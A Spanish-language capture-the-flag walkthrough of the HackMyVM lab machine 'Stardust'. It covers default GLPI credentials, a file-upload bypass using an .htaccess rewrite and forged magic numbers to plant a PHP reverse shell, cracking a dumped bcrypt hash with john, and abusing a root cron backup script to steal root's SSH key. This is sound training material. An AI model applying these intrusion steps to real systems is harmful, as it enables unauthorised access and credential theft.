HackMyVM - Stardust

logo

  • Bypass Content-Type and Magic Number
  • Upload Shell
  • Leaked Credentials
  • Cron Job Abuse

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.14

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 dbf946e520816ceec72508ab2251366c (RSA)
|   256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_  256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Authentication - GLPI
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: C01D32D71C01C8426D635C68C4648B09
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 hay un formulario de login.

login

Haciendo una búsqueda de credenciales por defecto encuentro lo siguiente.

you have 4 differents profils  
glpi/glpi (super-admin)  
tech/tech  
postonly/postonly (only for helpdesk)  
normal/normal

Consigo acceso al dashboard con glpi/glpi.

dashboard

Encuentro un subdominio intranetik.stardust.hmv.

subdomain

Visito el nuevo subdominio y veo una herramienta para subir archivos. Los archivos .php, .py, .sh, .asp no están autorizados.

upload

Con burpsuite intercepto la petición y la modifico para subir el archivo .htaccess agregando la directiva AddType application/x-httpd-php .png para que interprete los archivos .png como archivos PHP.

burp_htaccess

Veo que se ha subido correctamente el archivo.

file_uploaded_success

Subo una shell php modificando el filename y el Content-Type, y le añado el magic number asociado al Content-Type para saltarme la restricción del uploader.

rs_uploaded_success

Con curl mando una petición para ejecutar la shell.

❯ curl -s http://intranetik.stardust.hmv/rs.png

Obtengo la shell como usuario www-data.

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 51354
Linux stardust.hmv 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux
 19:57:48 up 27 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@stardust:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumero puertos internos.

www-data@stardust:~/intranetik$ ss -ltun
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*          
tcp   LISTEN 0      511                *:80              *:*          
tcp   LISTEN 0      128             [::]:22           [::]:*

Con linpeas encuentro lo siguiente.

mysql_pass_glpi

Me conecto al servidor mysql.

www-data@stardust:/tmp$ mysql -u glpi -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 42
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| glpi               |
| information_schema |
| intranetikDB       |
+--------------------+
3 rows in set (0.002 sec)

MariaDB [(none)]> use intranetikDB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [intranetikDB]> show tables;
+------------------------+
| Tables_in_intranetikDB |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.000 sec)

MariaDB [intranetikDB]> select * from users;
+----+-----------+--------------------------------------------------------------+
| id | username  | password                                                     |
+----+-----------+--------------------------------------------------------------+
|  1 | carolynn  | $2b$12$HRVJrlSG5eSW44VaNlTwoOwu42c1l9AnbpOhDvcEXVMyhcB46ZtXC |
|  2 | chi-yin   | $2b$12$.sDM7vxQCe3nmOois5Ho4O1HkNEiz4UJ/9XEsYlnbH7Awlxfig3g2 |
|  3 | tally     | $2b$12$z*******************************************tNy4Ycjl. |
|  4 | jeraldine | $2b$12$gjwlFI7f1QABeZ5jKlbTh.L00oIBXxHOUH.Gah.SXnX4PPrLd0mI6 |
|  5 | ishmael   | $2b$12$eEeCfKVkmFCvXjubRp.GhOKNTz0JoVXoKYCM3/kylN8AMzoDVEoWC |
|  6 | hetty     | $2b$12$uu719jU2sXy.blBj2QEPR.7mg2UbVfL5eX9KM4aXV5rigHWjFGNvO |
|  7 | yvan      | $2b$12$QJZj2WvvQU6c2GjpmW/Z9O0Ggudv5hhrREfqfJK7jjDWAa7.GoTM. |
|  8 | nong      | $2b$12$JWqnC1emWOLZszg1bWX3her2xFp47ZLE5MEd0YitoUDbVHH6lBPHW |
|  9 | ande      | $2b$12$03pXHnhLpgaGfeY72FtwJ.1T5IgCxHF.1PrPUVFySI4fIV3Gnykvq |
| 10 | colleen   | $2b$12$ZwPxWr9.g5VoiFQfWUJtgeTuNcpzpD44BrOVRafrnXHIa3Pc9mK1C |
| 11 | gussi     | $2b$12$f/05LxKgsAt6KNJ676sG/.90OvOMyUxuP2OdtZ9d8AnSmhP8ZIIA2 |
| 12 | brandi    | $2b$12$wQKGmPPRclBk4KpT3e44q.EOIh.xki.70W62xDuPnybXKYeXOSd2u |
| 13 | karrie    | $2b$12$bZVRUGzKjDGqOGKzWgcWUehPiwBseDScXfmsTZJb.r58Uc5uxFFUC |
| 14 | maala     | $2b$12$D0kAwa0fGU055rUnPJHMLuuB0fHcGjKbjLw9oNi/IMFkbzP980fvS |
| 15 | brittany  | $2b$12$hgjI3XifZTqfMCSM4TOqTObHNLNvkT0FhwiAJ7zr/GGLM58b4ieVC |
+----+-----------+--------------------------------------------------------------+
15 rows in set (0.000 sec)

Con john rompo el hash.

❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
b****a           (?)    

Me conecto a la máquina con el usuario tally.

❯ ssh tally@192.168.1.14
tally@192.168.1.14's password: 
Linux stardust.hmv 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

tally@stardust:~$ id
uid=1000(tally) gid=1000(tally) groups=1000(tally)

Subo el binario pspy64 a la máquina objetivo, lo Lanzo y veo que hay una tarea cron que se lanza como root.

pspy_meteo

Dentro de la carpeta /opt encuentro los siguientes archivos.

tally@stardust:/opt$ ls -l
-rw-rw-r--+  1 root root   50 Jul 14 20:54 config.json
-rwxr-xr-x   1 root root  607 May  7 09:49 meteo

Lanzo el script meteo para ver de que se trata.

tally@stardust:/opt$ ./meteo 
Weather is cool !

En el archivo config.json hay las coordenadas geográficas de un lugar específico.

{
  "latitude":  -18.48,
  "longitude": -70.33
}

Archivo meteo.

#! /bin/bash
#meteo
config="/opt/config.json"
latitude=$(jq '.latitude' $config)
longitude=$(jq '.longitude' $config)
limit=1000
#sys
web="/var/www/intranetik"
users="/home/tally"
root="/root"
dest="/var/backups"
#get rain elevation 
elevation=$(curl -s "https://api.open-meteo.com/v1/forecast?latitude=$latitude&longitude=$longitude&hourly=rain" |jq .elevation)
if [[ $elevation -gt $limit ]] ; then
echo "RAIN ALERT !"
tar -cf $dest/backup.tar $web >/dev/null
tar -rf $dest/backup.tar $users >/dev/null
tar -rf $dest/backup.tar $root >/dev/null
echo "BACKUP FINISHED"
else
echo "Weather is cool !"

Este script obtiene datos meteorológicos del config.json, verifica si hay una alerta de lluvia basada en la elevación de la ubicación y realiza copias de seguridad de ciertos directorios si hay una alerta de lluvia. De lo contrario muestra un mensaje indicando que el clima está bien.

Hago una búsqueda en internet de las coordenadas del monte everest.

lonLatEverest

Edito el fichero config.json.

{
  "latitude":  27.986065,
  "longitude": 86.922623
}

Lanzo el script y me muestra una alerta de lluvia, pero no me generará el backup.tar porque he lanzando el script como usuario y por eso salen los mensajes de permission denied.

tally@stardust:/opt$ ./meteo 
RAIN ALERT !
tar: /var/backups/backup.tar: Cannot open: Permission denied
tar: Error is not recoverable: exiting now
tar: /var/backups/backup.tar: Cannot read: Bad file descriptor
tar: At beginning of tape, quitting now
tar: Error is not recoverable: exiting now
tar: /var/backups/backup.tar: Cannot read: Bad file descriptor
tar: At beginning of tape, quitting now
tar: Error is not recoverable: exiting now
BACKUP FINISHED

Espero unos segundos y en la carpeta /backups tengo el archivo backup.tar que me ha generado la tarea cron.

tally@stardust:/var/backups$ ls backup.tar 
backup.tar

Descomprimo el archivo backup.tar en /tmp y dentro puedo ver lo siguiente.

tally@stardust:/tmp/root$ ls -la
total 32
drwx------  4 tally tally 4096 May  8 13:06 .
drwxrwxrwt 13 root  root  4096 Jul 14 22:09 ..
-rw-------  1 tally tally  359 May  8 16:27 .bash_history
-rw-r--r--  1 tally tally  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 tally tally 4096 Feb  6 19:32 .local
-rw-r--r--  1 tally tally  161 Jul  9  2019 .profile
-rwx------  1 tally tally   33 Feb  6 19:34 root.txt
drwx------  2 tally tally 4096 May  7 09:17 .ssh

Entro en el directorio .ssh, copio la llave rsa y me conecto como root.

❯ ssh root@192.168.1.14 -i id_rsa
Linux stardust.hmv 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
root@stardust:~# id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina Stardust.

Saludos!

Gracias al sr PL4GU3 y Powerful por vuestra ayuda :)